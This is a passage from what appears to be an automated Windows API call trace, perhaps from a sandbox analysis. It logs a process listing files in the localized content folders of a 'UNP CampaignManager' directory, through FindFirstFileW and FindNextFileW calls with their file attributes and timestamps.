Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0294.727] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0294.727] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ecad633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x990a, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0294.728] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ecad633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0294.728] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ecad633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0294.728] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ed6c2ab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0294.728] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ed6c2ab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0294.728] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0294.729] GetProcessHeap () returned 0xaf0000 [0294.729] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0294.729] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-BE", cAlternateFileName="")) returned 1 [0294.729] GetProcessHeap () returned 0xaf0000 [0294.729] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0294.729] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0294.730] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0294.730] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f08d25f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f08d25f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0294.731] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f27d1ae, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f27d1ae, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0294.731] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0294.731] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0294.731] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0294.731] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0294.732] GetProcessHeap () returned 0xaf0000 [0294.732] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0294.733] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0294.733] GetProcessHeap () returned 0xaf0000 [0294.733] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0294.733] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0294.734] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0294.734] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa7a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0294.734] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0294.734] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0294.735] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0294.735] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0294.735] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0294.736] GetProcessHeap () returned 0xaf0000 [0294.736] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0294.736] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8276077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CH", cAlternateFileName="")) returned 1 [0294.736] GetProcessHeap () returned 0xaf0000 [0294.736] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0294.736] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8276077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0294.737] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8276077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0294.737] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0294.738] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0294.738] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0294.738] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0294.738] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0294.738] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0294.739] GetProcessHeap () returned 0xaf0000 [0294.739] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0294.739] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830d026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2ef892, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0294.739] GetProcessHeap () returned 0xaf0000 [0294.739] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0294.739] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830d026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2ef892, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0294.741] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830d026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2ef892, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0294.741] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0294.741] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0294.741] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0294.741] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0294.741] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0294.742] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0294.743] GetProcessHeap () returned 0xaf0000 [0294.743] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0294.743] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830f28d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-XF", cAlternateFileName="")) returned 1 [0294.743] GetProcessHeap () returned 0xaf0000 [0294.743] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0294.743] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830f28d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0294.744] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830f28d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, 